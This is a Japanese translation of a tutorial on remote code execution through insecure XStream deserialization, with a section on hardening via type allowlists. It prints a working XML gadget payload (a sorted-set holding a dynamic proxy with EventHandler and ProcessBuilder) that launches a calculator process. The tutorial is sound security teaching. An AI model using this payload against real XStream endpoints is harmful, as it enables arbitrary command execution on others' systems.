1. 概要

このチュートリアルでは、XStreamXMLシリアル化ライブラリに対するリモートコード実行攻撃を分析します。 このエクスプロイトは、信頼できない逆シリアル化カテゴリの攻撃に分類されます。

XStreamがこの攻撃に対して脆弱である場合、攻撃がどのように機能するか、およびそのような攻撃を防ぐ方法を学習します。

2. XStreamの基本

攻撃について説明する前に、XStreamの基本を確認しましょう。 XStreamは、JavaタイプとXMLの間で変換を行うXMLシリアル化ライブラリです。 単純なPersonクラスについて考えてみます。

public class Person {
    private String first;
    private String last;

    // standard getters and setters
}

XStreamがPersonインスタンスをXMLに書き込む方法を見てみましょう。

XStream xstream = new XStream();
String xml = xstream.toXML(person);

同様に、XStreamはXMLをPersonのインスタンスに読み込むことができます。

XStream xstream = new XStream();
xstream.alias("person", Person.class);
String xml = "<person><first>John</first><last>Smith</last></person>";
Person person = (Person) xstream.fromXML(xml);

どちらの場合も、XStreamは Javaリフレクションを使用して、PersonタイプをXMLとの間で変換します。 攻撃はXMLの読み取り中に発生します。 XMLを読み取る場合、XStreamはリフレクションを使用してJavaクラスをインスタンス化します。

XStreamがインスタンス化するクラスは、解析するXML要素の名前によって決定されます。

Person タイプを認識するようにXStreamを構成したため、XStreamは、「person」という名前のXML要素を解析するときに新しいPersonをインスタンス化します。

Person のようなユーザー定義型に加えて、XStreamはそのままコアJava型を認識します。 たとえば、XStreamはXMLからマップを読み取ることができます。

String xml = "" 
    + "<map>" 
    + "  <element>" 
    + "    <string>foo</string>" 
    + "    <int>10</int>" 
    + "  </element>" 
    + "</map>";
XStream xStream = new XStream();
Map<String, Integer> map = (Map<String, Integer>) xStream.fromXML(xml);

コアJavaタイプを表すXMLを読み取るXStreamの機能が、リモートでのコード実行の悪用にどのように役立つかを見ていきます。

3. 攻撃のしくみ

リモートコード実行攻撃は、攻撃者が最終的にコードとして解釈される入力を提供したときに発生します。 この場合、攻撃者は攻撃コードをXMLとして提供することにより、XStreamの逆シリアル化戦略を悪用します。

クラスの適切な構成により、XStreamは最終的にJavaリフレクションを介して攻撃コードを実行します。

攻撃の例を作成しましょう。

3.1. ProcessBuilderに攻撃コードを含める

私たちの攻撃は、新しいデスクトップ計算プロセスを開始することを目的としています。 macOSでは、これは「/Applications/Calculator.app」です。 Windowsでは、これは「calc.exe」です。 そのために、XStreamをだまして、 ProcessBuilder。 思い出してください新しいプロセスを開始するためのJavaコード

new ProcessBuilder().command("executable-name-here").start();

XMLを読み取る場合、XStreamはコンストラクターを呼び出してフィールドを設定するだけです。 したがって、攻撃者は ProcessBuilder.start()メソッドを呼び出す簡単な方法を持っていません。

ただし、巧妙な攻撃者は、クラスの適切な構成を使用して、最終的に ProcessBuilderstart()メソッドを実行できます。

セキュリティ研究者DinisCruzは、ブログ投稿で、 Compareable インターフェイスを使用して、並べ替えられたコレクションTreeSetのコピーコンストラクターで攻撃コードを呼び出す方法を示しています。ここでアプローチを要約します。

3.2. 同等の動的プロキシを作成する

攻撃者はProcessBuilderを作成し、その start()メソッドを呼び出す必要があることを思い出してください。 そのために、 Compareableのインスタンスを作成します。このインスタンスのcompareメソッドはProcessBuilderstart()メソッドを呼び出します。 。

幸い、 Java Dynamic Proxies を使用すると、Compareableのインスタンスを動的に作成できます。

さらに、Javaの EventHandler クラスは、攻撃者に構成可能なInvocationHandler実装を提供します。 攻撃者は、ProcessBuilderのstart()メソッドを呼び出すようにEventHandlerを構成します。

これらのコンポーネントを組み合わせると、CompareableプロキシのXStreamXML表現が得られます。

<dynamic-proxy>
    <interface>java.lang.Comparable</interface>
    <handler class="java.beans.EventHandler">
        <target class="java.lang.ProcessBuilder">
            <command>
                <string>open</string>
                <string>/Applications/Calculator.app</string>
            </command>
        </target>
        <action>start</action>
    </handler>
</dynamic-proxy>

3.3. Compareable動的プロキシを使用して比較を強制する

Compareable プロキシとの比較を強制するために、ソートされたコレクションを作成します。 2つの比較可能なインスタンス(文字列とプロキシ)を比較するTreeSetコレクションを作成しましょう。

TreeSet のコピーコンストラクターを使用して、このコレクションを構築します。 最後に、プロキシとStringを含む新しいTreeSetのXStreamXML表現があります。

<sorted-set>
    <string>foo</string>
    <dynamic-proxy>
        <interface>java.lang.Comparable</interface>
        <handler class="java.beans.EventHandler">
            <target class="java.lang.ProcessBuilder">
                <command>
                    <string>open</string>
                    <string>/Applications/Calculator.app</string>
                </command>
            </target>
            <action>start</action>
        </handler>
    </dynamic-proxy>
</sorted-set>

最終的に、攻撃はXStreamがこのXMLを読み取るときに発生します。 開発者はXStreamがPersonを読み取ることを期待していますが、代わりに攻撃を実行します。

String sortedSortAttack = // XML from above
XStream xstream = new XStream();
Person person = (Person) xstream.fromXML(sortedSortAttack);

3.4. 攻撃の概要

XStreamがこのXMLを逆シリアル化するときに行うリフレクティブ呼び出しを要約してみましょう

  1. XStreamは、String「foo」とComparableプロキシを含むCollectionを使用してTreeSetコピーコンストラクターを呼び出します。
  2. TreeSet コンストラクターは、ソートされたセット内のアイテムの順序を決定するために、CompareableプロキシのcompareToメソッドを呼び出します。
  3. Compareable 動的プロキシは、すべてのメソッド呼び出しをEventHandlerに委任します。
  4. EventHandler は、構成する ProcessBuilderstart()メソッドを呼び出すように構成されています。
  5. ProcessBuilder は、攻撃者が実行したいコマンドを実行している新しいプロセスをフォークします。

4. XStreamはいつ脆弱になりますか?

XStreamは、攻撃者が読み取るXMLを制御すると、このリモートコード実行攻撃に対して脆弱になる可能性があります。

たとえば、XML入力を受け入れるRESTAPIについて考えてみます。 このRESTAPIがXStreamを使用してXMLリクエスト本文を読み取る場合、攻撃者がAPIに送信されるXMLのコンテンツを制御するため、リモートでコードが実行される攻撃に対して脆弱である可能性があります。

一方、信頼できるXMLを読み取るためにXStreamのみを使用するアプリケーションは、攻撃対象領域がはるかに小さくなります。

たとえば、XStreamのみを使用してアプリケーション管理者が設定したXML構成ファイルを読み取るアプリケーションについて考えてみます。 攻撃者はアプリケーションが読み取るXMLを制御できないため、このアプリケーションはXStreamリモートコード実行にさらされません(管理者は制御します)。

5. リモートコード実行攻撃に対するXStreamの強化

幸い、XStreamはバージョン1.4.7でセキュリティフレームワークを導入しました。 セキュリティフレームワークを使用して、リモートコード実行攻撃に対する例を強化できます。 セキュリティフレームワークを使用すると、インスタンス化が許可されているタイプのホワイトリストを使用してXStreamを構成できます。

このリストには、基本タイプとPersonクラスのみが含まれます。

XStream xstream = new XStream();
xstream.addPermission(NoTypePermission.NONE);
xstream.addPermission(NullPermission.NULL);
xstream.addPermission(PrimitiveTypePermission.PRIMITIVES);
xstream.allowTypes(new Class<?>[] { Person.class });

さらに、XStreamユーザーは、Runtime Application Self-Protection(RASP)エージェントを使用してシステムを強化することを検討できます。 RASPエージェントは、実行時にバイトコードインストルメンテーションを使用して、攻撃を自動的に検出してブロックします。この手法は、タイプのホワイトリストを手動で作成するよりもエラーが発生しにくくなります。

6. 結論

この記事では、XStreamを使用してXMLを読み取るアプリケーションに対してリモートでコード実行攻撃を実行する方法を学びました。 このような攻撃が存在するため、信頼できないソースからXMLを読み取るために使用する場合は、XStreamを強化する必要があります。

XStreamはリフレクションを使用して、攻撃者のXMLによって識別されたJavaクラスをインスタンス化するため、このエクスプロイトが存在します。

いつものように、例のコードはGitHubにあります。